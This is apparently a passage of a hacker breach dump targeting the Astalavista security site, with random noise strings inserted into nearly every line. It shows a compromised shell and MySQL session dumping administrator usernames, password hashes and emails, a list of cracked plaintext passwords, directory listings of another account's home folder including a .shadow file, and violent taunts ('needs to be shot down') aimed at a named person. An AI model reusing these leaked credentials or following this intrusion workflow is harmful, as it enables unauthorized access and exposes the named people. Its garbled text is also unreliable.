& K" ]: |7 n! ? <docs>http://blogs.law.harvard.edu/tech/rss</docs>& M# h! M8 ? O% \9 [
<generator>Astalavista.com</generator>
' H3 E' @; X: x2 @- V1 g0 y, j <webMaster>info@astalavista.com</webMaster>’ . $items . ‘, {: D/ c' x0 r9 c9 S* p
</channel>5 R5 L/ F& v F, \! E& B
</rss>’;+ W z' r" S$ T( J3 e6 N
+ L6 C& E7 k, k1 b4 M( M if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {
2 T. v" }8 N4 C- V+ I5 r/ `: b unlink (FULLPATH . ‘/feed/exploits.xml’);
3 c6 g' |+ S& T% } }
. y5 R% O2 L7 ]. @% [7 o' w: b, s' F( ?, c- m
file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);! x0 o1 K7 `0 Y
[snip]
; y1 b3 q' Y/ S3 |3 h
5 T6 w+ m3 `9 ksh-3.2$ cat exploits.sh9 C; C9 C+ d1 @
#!/bin/sh
( f/ R: \' [. a* n9 k, o) q" o. i' N4 a
###########################################################0 ^ k* w- L! c; D6 |
# #
! X8 s1 X0 n6 [6 `. v# Title: milw0rm exploits adder #* J Q2 A% O3 U% e$ W
# Description: Add all milw0rm exploits to the #7 W1 E. k9 K. L$ M
# Astalavista.com database #. T2 c7 U j* h& {
# #
6 M4 a" A1 ?% ?3 y; u( x G/ g6 _# Company: Astalavista Group #, [6 W6 C0 E+ O' e: L9 u2 C
# Author: Paulo M. Santos #) W1 @0 x3 e @5 z/ B& S
# E-Mail: 链接标记paulo.santos@astalavista.ch #
. Y# b3 q7 e0 {# #$ u. M+ ^6 Z5 s
###########################################################7 ^4 ^7 M9 P3 t* v' L; |4 o& ~
: F$ o$ W( N1 |( P# path) a8 e" y9 |, [: [
this_path=/home/com/public_html/modifications/cronjobs6 e- y3 F/ ]' K) Z! E5 {/ [
$ J' t6 B- L" \( G- K6 a; p4 ^# change directory
" G8 w7 B* ?0 \# bcd $this_path- G- N; {0 c/ E* B" \0 V
cd tmp/
% ~7 ]( e! h( s- W. F: y2 i
& m7 h# ?% x6 c/ q) Y2 y# delete files4 D6 D' F3 A2 y d
rm -rf milw0rm.tar.* &
: \( {- X+ R: ]rm -rf milw0rm/ &
# M$ g6 a7 q! `! c6 {# x* {. r2 ^# b6 x
# wget milw0rm paket3 H9 `8 g! N* Q5 z
wget 链接标记[url]http://www.milw0rm.com/sploits/milw0rm.tar.bz2[/url]
2 B. r! I' l* _ x
$ \1 @4 }3 |# g. b# extract milw0rm paket
% @9 M) n# o, g. W0 Y, {+ wtar -xvf milw0rm.tar.bz2
6 _8 \6 Q+ S5 e, @' g4 W4 @$ y5 Q. k1 G3 q2 F. p
# change owner
1 b* s2 K( Z2 H# ^' e$ uchown -R com .
6 y5 Q7 D. [+ B8 \: Y1 Ichgrp -R com .- {9 @" N, d9 M9 Y1 S7 c
0 }) E+ a" f6 P0 ^2 `; e# execute php script$ k# @& U1 A! j) z' P! s
cd $this_path; U T# {$ S6 E8 c6 M- b/ }3 ]
php -q exploits.php
) `+ D* e- a, ]5 \, C- g% M* A4 Y' f) k, Q, R! r8 s; K# O& Q
# delete files* M" R: b1 ?! l
rm -rf tmp/milw0rm.tar.*
: X/ X9 D/ W0 e7 K; V. y3 z. lrm -rf tmp/milw0rm/' G: ]+ Y4 b A, @3 y+ n! y! H5 K5 }, c5 P
1 d- I8 d. b' f' k/ i, ^3 Y) osh-3.2$ echo “Paulo M. Santos needs to be shot down.”
. o9 V d9 }/ a0 `2 Q, a& O2 zPaulo M. Santos needs to be shot down.0 N* L& p5 r5 q/ c. {7 l" h
! }% q; l3 a( Q; ~0 Z: K& M* dmysql -u contrexxuser2 -p% z! Z4 L/ l7 e3 L, {) [
Enter password:3 p+ X& x: Z: p" o! a) k
Welcome to the MySQL monitor. Commands end with ; or \g.% ^. v7 P* A& R% @; C: N u
Your MySQL connection id is 261694
, f0 B4 Z. p( U+ g1 qServer version: 5.0.45-community-log MySQL Community Edition (GPL)
2 o7 n3 E2 j4 V6 U2 w8 [% v7 V+ y7 i. X3 m' q9 \& t; M! e, M
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer./ w, n, D, ?$ D# m
: F) u# U4 M7 Lmysql> show databases;
' x" m+ g. Q& ]8 ^& h( |/ d" {+——————–+7 s& l/ V( v: `! R- @0 s+ A7 V
| Database |
' e1 ?* m. ~. M* [+——————–+
) p" z- ~( q) J5 C- H$ F| information_schema |
' d# z! g: G0 A+ v| com_contrexx2 |
$ G9 ]: e a1 c8 h# _; }, I$ R| com_contrexx2_live |: P5 ]& S4 |5 S- K( m2 ]% ~
| test |
. a, U1 g" B" L+ L0 t3 ?. ^+——————–+
6 D0 |! Z1 c" e* w, F; X4 rows in set (0.00 sec)
* X; z. K! s4 |5 I, q& K& _ L
) ?' J- p1 U; Jmysql> use com_contrexx2_live- d: r; a' A7 S% @# ?% x; E2 c
Database changed) x- h9 P/ o: i
mysql> show tables;( W! `1 s% L/ u% J2 M+ C4 t
+————————————————–+
" Z2 X% l3 O/ e) P& H# W4 E) M! z| Tables_in_com_contrexx2_live |4 ?# t8 K1 Y2 t
+————————————————–+
# o" R) S) S. A2 z e| cc_banner_counter |) G' O! W7 F5 B. E3 l
| cc_search_counter |+ g8 L/ G" y$ L8 | R# S
| contrexx_access_group_dynamic_ids |: G8 G4 o' M9 e+ D0 K4 l( S
| contrexx_access_group_static_ids |
) {' L" A9 u5 ^7 h% G| contrexx_access_rel_user_group |) c# Y% {$ X! y+ P
| contrexx_access_settings |) U+ x- u& k6 K* A0 i
| contrexx_access_user_attribute |+ n/ a( C! M$ k/ Y8 ?
| contrexx_access_user_attribute_name |
7 c0 h' h$ \7 d# h) W! w" G" b1 O| contrexx_access_user_attribute_value |
: p2 N5 h1 E" W5 X| contrexx_access_user_core_attribute |. y$ [$ m. j; t% k4 V# n
| contrexx_access_user_groups |
$ }* |8 Y# \6 g, ?5 N, |1 h+ Z| contrexx_access_user_mail |% @( Q4 f7 O9 ]
| contrexx_access_user_profile |2 ~# i* h0 L+ L. O$ m4 ^5 ^
| contrexx_access_user_title |
5 E! U1 h0 ^) c| contrexx_access_user_validity |
9 d( p% i" \/ Q0 y! Z| contrexx_access_users |
0 [7 c, `) q4 A9 j- V, T# i| contrexx_backend_areas |' k; L6 r% g/ J. h
| contrexx_backups |
' {% ~, Q" {# w1 T$ ?6 F| contrexx_content |, L9 S+ f/ Y- ~9 Q3 h
| contrexx_content_history |/ j* C5 l6 i; V1 I4 {, {
| contrexx_content_logfile |1 C$ j7 x& ]9 f7 E, L8 L t. _
| contrexx_content_navigation |5 N/ R5 {5 ?# s4 \; ~5 ^5 z
| contrexx_content_navigation_history |9 o8 {- I# L, `& P2 r1 P+ l3 y
| contrexx_ids |
0 b+ L5 g: t9 U7 x| contrexx_languages |5 n( i8 x. r( h
| contrexx_lib_country |
6 q5 q4 B9 J& d| contrexx_log |! a( L" j) R3 o2 J2 v# ]
| contrexx_module_alias_source | P7 y: X1 P$ B' t7 q0 B8 c
| contrexx_module_alias_target |
4 Z- K [$ @; M% M \2 e) F0 u; o| contrexx_module_block_blocks |
+ ?% z% P6 H1 z! g: ^| contrexx_module_block_rel_lang |
, X; y: `) N' z; F/ X& B| contrexx_module_block_rel_pages |
, o) S/ @$ y8 |$ w, q| contrexx_module_block_settings |
2 Y2 ]% d4 O5 ^. G| contrexx_module_blog_categories |. p. [( J) I7 s& n
| contrexx_module_blog_comments |
: ]2 S( Y: Q/ M+ a c& n; p| contrexx_module_blog_message_to_category |
3 x+ e' }6 K0 K% V9 y- @7 I2 x' X# ~| contrexx_module_blog_messages |
4 H$ ]' j( d& f4 w" Y| contrexx_module_blog_messages_lang |5 V: z) ?( F, t+ k0 r
| contrexx_module_blog_networks |
; ^" I8 A) Q0 Q8 S| contrexx_module_blog_networks_lang |. R/ }" E9 P) d4 M7 ?2 g
| contrexx_module_blog_settings |* h x/ @) h1 M- R- |
| contrexx_module_blog_votes |3 Z" f+ N6 \1 f9 L
| contrexx_module_calendar |; [7 Y5 d+ R' o- G r/ V
| contrexx_module_calendar_access |
, c {0 D7 r5 ~# O, T| contrexx_module_calendar_categories |
9 q$ d. M" @3 v7 E% q: h+ A| contrexx_module_calendar_form_data |) U8 p* i( o" s) d' F! _- |
| contrexx_module_calendar_form_fields |
) J" q2 N! v/ P/ B! X| contrexx_module_calendar_registrations |
; [$ h8 |7 y, j$ k| contrexx_module_calendar_settings |4 g- W$ G: Y0 j9 u& q8 ]
| contrexx_module_calendar_style |
. I9 [4 C* I2 V: J! w3 k| contrexx_module_contact_form |
' J) b: U6 c3 [: d4 z" S| contrexx_module_contact_form_data |4 ^( @1 M+ u: {% l. W/ R9 Z1 B
| contrexx_module_contact_form_field |
' `9 g$ I) b |( j/ e& `: w( C| contrexx_module_contact_settings |
/ g0 U; K4 K1 x; r% P0 J$ }8 P| contrexx_module_data_categories |9 `- t3 q% C/ p, _6 J
| contrexx_module_data_message_to_category |# c. I" e8 h9 o( F0 M4 D4 o
| contrexx_module_data_messages |: ]6 w% M2 r+ H" }: a
| contrexx_module_data_messages_lang |0 Q4 q- e, J- L& v
| contrexx_module_data_placeholders |- J0 a, n2 a$ A+ o' s
| contrexx_module_data_settings |
" e& `4 p( [2 S$ U, N) I1 `2 l, n| contrexx_module_directory_access |
. ~8 r! p7 K: ]% E/ p& }8 f| contrexx_module_directory_categories |. l: s' ?2 a! |( f: g& J/ S1 w
| contrexx_module_directory_dir |
. j# d& y6 K+ n9 M| contrexx_module_directory_inputfields |. c! A; E. O8 b/ I I# M
| contrexx_module_directory_levels |& M; O3 H. A E4 _& R1 [
| contrexx_module_directory_mail |
0 d% [+ }( W m1 z2 l7 U| contrexx_module_directory_rel_dir_cat |
: x* t3 a4 h8 V( p| contrexx_module_directory_rel_dir_level |4 _ T; p4 |/ ^) ]
| contrexx_module_directory_settings |! I- [; A5 t1 c1 X. l0 @
| contrexx_module_directory_settings_google |# m; J0 h& s3 y2 B5 o6 N
| contrexx_module_directory_vote |
: q% s* W, P/ W' z2 D% [, w4 O5 R9 U| contrexx_module_docsys |
8 O& x" m. h, j4 f9 E' {( X$ P| contrexx_module_docsys_categories |% Q2 y- B4 j7 f1 t- v- e
| contrexx_module_egov_configuration |! s' M" n. l% V! K+ S' h( u9 {
| contrexx_module_egov_orders |" e' D- u; g" |. Y! K$ E8 t1 m
| contrexx_module_egov_product_calendar |" Y) v. i ` h M$ {+ s( {
| contrexx_module_egov_product_fields |8 P% e; K( E9 n& Y# ?: @
| contrexx_module_egov_products |. B2 t, s' `1 q' ?5 Q4 v" b6 A5 J
| contrexx_module_egov_settings |2 Y# m1 T" @4 q0 ~% v; X; u
| contrexx_module_exploits |
6 g: d' u: c. q' k| contrexx_module_exploits_categories |
* Y' o5 m: A" K4 f| contrexx_module_feed_category |" w. }$ D# M+ w
| contrexx_module_feed_news |; i- S) o! C2 J; g; S9 y
| contrexx_module_feed_newsml_association |
( w a8 }5 r9 t. t| contrexx_module_feed_newsml_categories |& ]6 d7 e# s6 y$ [2 i
| contrexx_module_feed_newsml_documents |1 c* b) v% r6 Q, S
| contrexx_module_feed_newsml_providers |
: o# H& ~/ A |/ a" i| contrexx_module_forum_access |
( O) d# o9 T" D0 j7 O9 ^" A) x% o| contrexx_module_forum_categories |
, b, V" m. I+ M| contrexx_module_forum_categories_lang |+ {; g# W. R1 I% e7 o4 Q0 W7 k# h) ]/ R
| contrexx_module_forum_notification |: U, v# T+ Z: c3 P% y+ \. c
| contrexx_module_forum_postings |
+ f: T9 k K1 [- U0 |% j| contrexx_module_forum_rating |2 s" t( r2 \2 {9 P& |
| contrexx_module_forum_settings |
4 e; \. w7 d/ Z/ w- K: \! N! E7 p0 X- e| contrexx_module_forum_statistics |
0 S0 j- `- E3 n/ }- M& r| contrexx_module_gallery_categories |3 j$ O8 |% L$ ~1 e% u! G9 R
| contrexx_module_gallery_comments |7 X8 N/ L% N& m) U
| contrexx_module_gallery_language |; _3 @! |2 ?9 }; E. J
| contrexx_module_gallery_language_pics |& `' M* R1 V, Z9 o/ ]) `/ X; k
| contrexx_module_gallery_pictures | ?% O. ]3 \% E! a
| contrexx_module_gallery_settings |
U/ j( f, `9 Q# W% K| contrexx_module_gallery_votes |# b, j6 K; o2 X3 o
| contrexx_module_guestbook |3 ~& t: y7 T4 k# w) C
| contrexx_module_guestbook_settings |2 S# k# f: \1 z+ A% c' J2 l) D8 G
| contrexx_module_livecam |9 l N6 {; |: P1 {) U' G- ~: K; r, ^
| contrexx_module_livecam_settings |& _! [3 m) d, {, k0 V
| contrexx_module_market |
! Q& l: ~+ ~: b' q+ }| contrexx_module_market_access |
" O, e5 [1 I7 U# l$ V| contrexx_module_market_categories |
. D: E( q7 S; G- O, ^" J4 y| contrexx_module_market_mail |
3 B% t" r6 `9 ^/ M0 O+ U" `| contrexx_module_market_paypal |; l! y' }) m' o' z
| contrexx_module_market_settings |
0 }, K l. H" ]% b% r0 s| contrexx_module_market_spez_fields |9 t; D7 l0 D/ ` `" H b
| contrexx_module_mediadir_access |
6 { d* r/ O2 @9 d! P' x8 Y6 t| contrexx_module_mediadir_categories |
/ g: k' a5 g) x' q3 Q: K7 p| contrexx_module_mediadir_comments |" j! s1 ?$ a/ i+ P0 O+ H! ?
| contrexx_module_mediadir_dir |" w/ v: N% G2 ~
| contrexx_module_mediadir_inputfields |
4 E- l+ o- p9 o" |( y; `1 ~2 Q5 o) }7 d9 X) w| contrexx_module_mediadir_levels |& y; B; x8 Z( d. S6 L' @
| contrexx_module_mediadir_mail |
0 q! I! q5 D8 j9 C7 G- t| contrexx_module_mediadir_rel_dir_cat |
) e/ `& K0 J- s| contrexx_module_mediadir_rel_dir_level |7 V. s* r4 M) f6 z
| contrexx_module_mediadir_reports |) D2 g' P4 L; W9 \" N" t
| contrexx_module_mediadir_settings |
: n! m% X1 ~3 S% j| contrexx_module_mediadir_settings_google |
$ a$ y9 |- ~$ A1 q4 [8 F( Y| contrexx_module_mediadir_vote |
1 [; I& q: G, j* v/ K, I H4 e1 W' J| contrexx_module_memberdir_directories |7 W g. g: k9 k/ v8 v
| contrexx_module_memberdir_name |
6 q0 C8 c+ w) K$ H% M! N" }| contrexx_module_memberdir_settings |
' N! F% h! c, C% c/ O. f9 S| contrexx_module_memberdir_values |6 o& a" B' h6 v7 P0 l
| contrexx_module_nettools_allowed_groups |
3 f2 D; l; `# }' u| contrexx_module_nettools_settings |
0 K$ j7 }, Q) k9 s| contrexx_module_news |; B6 }" V+ y3 Q( G) i- b
| contrexx_module_news_access |
0 ?7 [) C0 O, h' z$ e| contrexx_module_news_categories |
/ j" U9 i: i) g1 l| contrexx_module_news_settings |
* V R( o# v9 W2 a8 I9 ^| contrexx_module_news_teaser_frame |
- v# s6 f8 ~. B8 U9 i# b8 G7 @| contrexx_module_news_teaser_frame_templates |$ Q* g! C; K% l
| contrexx_module_news_ticker |
( R% ~. j' O5 ], f) g1 Q9 ?$ W- R( K& u| contrexx_module_newsletter |
1 ?3 \# _! |# w& S7 ^| contrexx_module_newsletter_attachment |
% \; p& \/ u& _3 c# R* @$ D2 W) ^| contrexx_module_newsletter_category |
- _9 x$ k5 }! z, c; u| contrexx_module_newsletter_confirm_mail |
. u- G0 d5 p6 n ^3 Z& X C| contrexx_module_newsletter_rel_cat_news |
3 p9 W, r/ i" L) Y/ z1 [+ i1 X| contrexx_module_newsletter_rel_user_cat |! }1 ]5 d& a+ }+ G2 n- @) U0 [- a
| contrexx_module_newsletter_settings |
, T/ r) E. \" M) x- Z% _| contrexx_module_newsletter_template |
! W* x6 ~2 H+ f; [) v| contrexx_module_newsletter_tmp_sending |
7 d" n. N( q9 I% J( i4 v| contrexx_module_newsletter_user |0 P0 C4 q# @% h6 Z b
| contrexx_module_newsletter_user_title |/ _) Z I; O' U4 C$ P) r! V
| contrexx_module_onlinetools_defaultports |6 p, W0 t: M, [0 u
| contrexx_module_onlinetools_defaultports_back |9 K$ i- w: ] M
| contrexx_module_onlinetools_geolitecity_blocks |
3 N& g% S+ A: A! c| contrexx_module_onlinetools_geolitecity_country |
9 H* s, q/ V7 w# }; {| contrexx_module_onlinetools_geolitecity_location |
7 G O9 |6 T3 z; ^+ Y| contrexx_module_podcast_category |! M; M6 L0 @) P8 |
| contrexx_module_podcast_medium |( M% F( a9 G+ q- ^. W" g# M1 l
| contrexx_module_podcast_rel_category_lang |
* Q& j* {& n& S* a| contrexx_module_podcast_rel_medium_category |
3 J4 ~) x3 F( a! g) I| contrexx_module_podcast_settings |7 X! o) w: A$ L4 l
| contrexx_module_podcast_template |8 y% P8 \5 s3 y1 R* P6 I- m
| contrexx_module_proxydb |3 |8 s' e8 K8 t
| contrexx_module_recommend |
4 z- D- F( G; z+ A8 J( s4 `| contrexx_module_repository |0 a6 w/ j* w: t; G; i& @- d
| contrexx_module_securitynews_cats |
9 e) k, f3 c& }8 W, r: x| contrexx_module_securitynews_feeds |
1 {& t2 J8 Z0 q- K5 V| contrexx_module_securitynews_news |& t$ H! [! ]% t, c
| contrexx_module_shop_categories |1 {! P$ w$ w' t+ ~
| contrexx_module_shop_config |5 q4 u$ O6 g7 x0 v1 o' p4 N" l
| contrexx_module_shop_countries |
* M3 F" w! S- J8 T# f; K| contrexx_module_shop_currencies |
% h+ w6 `2 \% \9 T" |: Y| contrexx_module_shop_customers |
, R' S) V' X! G f! Z- {| contrexx_module_shop_importimg |0 x! q3 h, E0 i: Y4 X' Z# x7 Y
| contrexx_module_shop_lsv |4 m" X8 O3 s* V- X
| contrexx_module_shop_mail |
% m$ K0 m& A/ m2 \( ^2 I| contrexx_module_shop_mail_content |$ P' [1 a# G& v9 a/ F1 M5 |
| contrexx_module_shop_manufacturer |/ u, }. Q# G2 n
| contrexx_module_shop_order_items |
% L" Z! W& d+ j| contrexx_module_shop_order_items_attributes |
1 C+ J. X& |+ R; `# @| contrexx_module_shop_orders |
9 L/ n- M& \$ S) n$ v1 n| contrexx_module_shop_payment |: r$ [+ W4 e9 g4 f2 R$ G
| contrexx_module_shop_payment_processors |: D1 e7 ^1 y% d) V g* L
| contrexx_module_shop_pricelists |
4 ]9 G5 Z4 p" o/ O| contrexx_module_shop_products |
/ P# C! K _5 u, ^6 q! B! G| contrexx_module_shop_products_attributes |
( ]- J8 }: m& y4 L( o| contrexx_module_shop_products_attributes_name |
6 v) R$ {& u3 v9 L+ p8 {, H6 g0 {| contrexx_module_shop_products_attributes_value |
2 M( l$ g# u7 L5 e6 Z7 M| contrexx_module_shop_products_downloads |) g7 ^- X& G1 m6 P
| contrexx_module_shop_rel_countries |# T. [: V5 a7 z8 i9 l7 I* r
| contrexx_module_shop_rel_payment |
0 G% x% h9 G2 e4 g/ }7 _| contrexx_module_shop_rel_shipment |
2 u* f! n! v& e" [ K2 Y# k| contrexx_module_shop_shipment_cost |
/ v- ?' B; r, @8 ?. _| contrexx_module_shop_shipper |" r$ [& P0 n- D5 u# D
| contrexx_module_shop_vat |" n# V* V+ t' x4 |4 P/ i$ {
| contrexx_module_shop_zones |
7 n! B/ m$ C4 f| contrexx_module_u2u_address_list |$ m3 ?8 _' ~# n
| contrexx_module_u2u_message_log |
' |) d: p! Q) K! M: q0 {" M| contrexx_module_u2u_sent_messages |
0 r: t* u1 E* U/ E3 f$ U' |& _' y: I| contrexx_module_u2u_settings |# V# ^0 l! |7 `' ^# t
| contrexx_module_u2u_user_log |
% l; y6 w8 B" `# o2 G- `# w| contrexx_modules |
; e; f! V- w- T# t3 \# D: b" C| contrexx_sessions |/ Q! S* ?( P" D
| contrexx_settings |
d+ c; c3 [8 z! d( d| contrexx_settings_smtp |: m" U- j6 w& d! y# i
| contrexx_skins |2 Y2 y0 f) L# f. f* e
| contrexx_stats_browser |
, t2 i4 a% O0 a; f: u| contrexx_stats_colourdepth |& j: _0 v& V& x5 ]0 s
| contrexx_stats_config |
3 [+ u. s2 w: y+ r4 b| contrexx_stats_country |
2 E/ d' u; _. w1 L( w2 f| contrexx_stats_hostname |
5 B" n- u- J" x6 \6 }3 a| contrexx_stats_javascript |
- Z, ? z% t' e, Y! n7 q `| contrexx_stats_operatingsystem |8 n+ Q6 S' s, m% _7 J
| contrexx_stats_referer |* \; p0 w* g$ J/ v* U9 }
| contrexx_stats_requests |
8 l: Z: r! T! |4 P& Y4 F2 g| contrexx_stats_requests_summary |
9 l/ u! K& i- S| contrexx_stats_screenresolution |
1 {4 `! {8 [9 x s5 Q| contrexx_stats_search |
6 m( v" x4 R- I9 [( w4 I7 S| contrexx_stats_spiders |# y! Q6 E$ d: e: @. T! r* R' T
| contrexx_stats_spiders_summary |
/ Y' f0 ~; O: {6 o& e| contrexx_stats_visitors |
6 x4 U# D- S( m; S+ O( }9 a| contrexx_stats_visitors_summary |
$ x0 A2 [( H1 {0 s$ B8 \ z| contrexx_voting_additionaldata |
/ s" h8 s$ R1 \" j" c| contrexx_voting_email |2 B! A( C) J; p7 v! Z( z/ }
| contrexx_voting_rel_email_system |
# l$ f, \. K5 t. C8 n| contrexx_voting_results |
8 G8 U. h& {2 K; {| contrexx_voting_system |' @. ^3 {* L2 R2 @9 x5 J C' }) S
| foo |, ~- C4 `* R1 S8 k. A' S5 I
+————————————————–+* d. r1 K1 h/ N
227 rows in set (0.01 sec)
6 ?' B! a( H/ v2 J' F. p. W5 K+ K' S, {( N. N6 X
mysql> select count(*) as skids from contrexx_access_users;
' ]" k" t$ Q! _, X! U$ }+——-+0 X% g( B6 p* i" @7 C, [2 }
| skids |
6 i7 d& o* W2 u' d& n7 [+——-+
4 i" r0 t' I. y, A| 53699 |
& v$ }. V& C6 h( @6 U+——-+
+ N+ R3 M3 x5 H1 row in set (0.00 sec)
/ x; X+ v0 F: T; N4 |5 o4 w" J n A H- G0 D
mysql> describe contrexx_access_users;& ~0 h# G2 G# q* Y/ j0 U2 ^
+——————+——————————————+——+—–+————–+—————-+
& L# W- X3 W: b- }| Field | Type | Null | Key | Default | Extra |* R* `, v! u- r t m& {
+——————+——————————————+——+—–+————–+—————-+
( E# J2 `+ p( A) ]| id | int(10) unsigned | NO | PRI | NULL | auto_increment |: b( q u" O8 L+ I+ G
| is_admin | tinyint(1) unsigned | NO | | 0 | |' Y7 |/ k5 C( H2 Q( Q
| username | varchar(40) | YES | MUL | NULL | |8 n. _& k) P$ [. J( D- o7 f
| password | varchar(32) | YES | | NULL | |
! i3 }. x/ [, J" g| regdate | int(14) unsigned | NO | | 0 | |3 Q7 S/ L2 a% b1 c5 A y) W0 `
| expiration | int(14) unsigned | NO | | 0 | |9 C( j* _+ w+ I( c2 v9 P" H+ D' Z
| validity | int(10) unsigned | NO | | 0 | |
! g5 S+ T5 \' ]6 e| last_auth | int(14) unsigned | NO | | 0 | |6 k3 J9 ~0 F w+ t
| last_activity | int(14) unsigned | NO | | 0 | |- ]+ I- K1 r4 F
| email | varchar(255) | YES | | NULL | |
0 Y) ]# g) q+ x6 j% f| email_access | enum(’everyone’,'members_only’,'nobody’) | NO | | nobody | |" P/ ^8 T' F5 f9 C0 P- I
| frontend_lang_id | int(2) unsigned | NO | | 0 | |8 M" |8 |4 M( m; s9 y' q# O# H
| backend_lang_id | int(2) unsigned | NO | | 0 | |. M) J1 F2 Q. D$ d# @2 I
| active | tinyint(1) | NO | | 0 | |% {) c' L! \8 f# Z7 T1 i
| profile_access | enum(’everyone’,'members_only’,'nobody’) | NO | | members_only | |
$ X) `5 c; Y H0 s| restore_key | varchar(32) | NO | | | |
! \$ j2 v- n% J| restore_key_time | int(14) unsigned | NO | | 0 | |' B( I8 m2 Q f) h% ^
| u2u_active | enum(’0′,’1′) | NO | | 1 | |
: C2 h3 n1 i3 x4 O$ X1 L1 Y+——————+——————————————+——+—–+————–+—————-+, o* {' z% B$ m8 F
18 rows in set (0.00 sec)
) r( f1 H( b. U( H, ?3 |2 X3 y9 P4 C
! j, U) f- x$ D; V& t' xmysql> select username,password,email from contrexx_access_users where is_admin = 1; o8 U8 E, F! u4 j
+————+———————————-+—————————–+! n# f+ }6 T {/ @ R/ S
| username | password | email |
* m9 |7 ?1 `/ S2 L; @1 M+————+———————————-+—————————–+
* s3 Y! f% _) z2 C1 J2 G| system | 0defe9e458e745625fffbc215d7801c5 | 链接标记info@comvation.com |# ?- J6 w; p' ?0 D2 `
| prozac | 1f65f06d9758599e9ad27cf9707f92b5 | 链接标记prozac@astalavista.com |
; W b# o8 g# |7 f# c3 b& d y& d: ^| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | 链接标记paulo.santos@astalavista.ch |
' R: @0 n" a& J- S& V# X| schmid | 0defe9e458e745625fffbc215d7801c5 | 链接标记ivan.schmid@comvation.com |
+ Y I; P4 U& h6 H) s; v! p+————+———————————-+—————————–+
, m; a- c7 d( `# U* N+ q4 rows in set (0.04 sec)
! g- j' n% c' W/ b0 N! D: O& i- ^4 d: Y2 Y+ y
mysql> exit;0 ^# m- c8 }4 `
Bye
9 d9 t- ` |5 x
; ^' b! w$ _+ M. `2 y5 h[~] There you go, your “team of security and IT professionals” is a joke.
x) V, D% u) P8 z- Q' ?
! D; D2 n! v2 H9 p, x7 n; m+——————————+& i, c" k! h) G# M
system:f82BN3+_*
9 ?& V- y: w5 f* OBe1er0ph0r:belerophor4astacom3 M; O; E4 k9 @( J' o3 L
prozac:asta4cms!
. g* m4 f, z& @5 `0 O) |( S& Ccommander:mpbdaagf6m" z- v! B$ Q8 W) p o
sykadul:ak29eral
+ W% e2 a x( U9 B) e+——————————+
) I: N* A2 f2 [. V; Q6 U2 i, L' U1 j/ q4 }
[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s), l% Q2 P! ?. Z) D$ G
…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.( a' U- |# b2 i! b! T
k0 }- _/ S' c% c& \: R! @
[~] Lets move to astalavista.net now,
g# x2 x) _0 T/ @
5 [5 X$ e4 r8 W G5 p. L/ N' k0 cFrom <链接标记[url]https://www.astalavista.net/[/url]>:
1 L8 q! M6 |/ V) \5 g) G2 Y>> Everyone knows that the best defense is a good offense.% G) p! ?8 e9 [6 R7 R$ S
>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.
6 ~, q5 D& w" t( R>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.# o; ~6 Q) T! i! V+ `
>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”
3 Y& c. [5 R9 B: g: s6 E) J- h: O9 I) Y2 R3 p. y
>> Go ahead, try and hack our server . in a completely legal way!
" S& {+ y1 X9 @>> Learn by doing: We offer our members tricky tasks and challenges on an% l3 k- K8 j3 x$ |; _/ }, u6 _& T
>> ongoing basis so you can test your knowledge and abilities. You can also9 Y: Q) r: Z$ m9 n# ?7 F4 ^
>> demonstrate what you.ve mastered by taking part in regular hacker contests6 u; x; n0 S" r9 j
>> and war games
/ k' Q2 M; N( T3 c) y/ _
) \ o1 T; c# T( z4 K[~] Lets take a look there, after all… they are hack-proof, aren’t they?!6 ^$ V# Q9 B; m% z* }5 }. Q6 ?
& [3 T% d3 j2 }# w G% o$ f$ x[-] Tricky task: Find home dir of astalavista.net* J4 A: D" k# {
2 P' K, P0 b% \/ ^sh-3.2$ ls -la ~astanet
8 o. R/ T1 [) v5 R5 v! k5 Gtotal 48' p9 F: M. d! K3 R7 ?
drwx–x–x 6 astanet astanet 4096 Dec 23 15:55 .' t$ C- Z- l1 |% t! C% R) h
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..' C1 y- t& @- @
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
. x( _, ~- a. F- {' `& P% r2 O1 t-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
3 |% }% `$ ^- J-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout
% [9 |; \# d7 f# x$ @( U1 y1 v5 z-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile: A0 f, ?% P' m2 H5 p g3 X# p
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
& s2 l2 v8 @( ?drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains
q# M( }/ j0 f* E6 x" ddrwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap
, R: |9 G+ f% H8 z) u5 Pdrwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
! o L$ Y7 v `8 S9 o* D" Wlrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html4 f7 n- v7 H$ q- k
-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow
8 L$ u# y' i! a' `' R
( |( [ M. ]* C, `# Nsh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/
- p* `' v$ i0 ]sh-3.2$ ls -la
) e, _7 } V4 u( {6 w+ Utotal 200
# I% c$ @9 J; I M3 D# S% ]8 bdrwxr-x— 29 astanet apache 4096 Jan 6 13:58 .: R' @- Q% m" p
drwx–x–x 8 astanet astanet 4096 Dec 23 13:53 ..
/ u5 m& c5 ~; v6 qdrwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _007 B& v; u' q4 C
drwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql
- A2 N% p8 H- q X6 H5 R% vdrwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 链接标记astanet@astalavista.com
/ c+ h: h4 v- O9 [' Wdrwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend# s l9 i2 o" K2 P9 y
drwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner( Y6 z2 ?8 i' K
-rw-r–r– 1 astanet astanet 25724 Apr 4 2006 banner.jpg
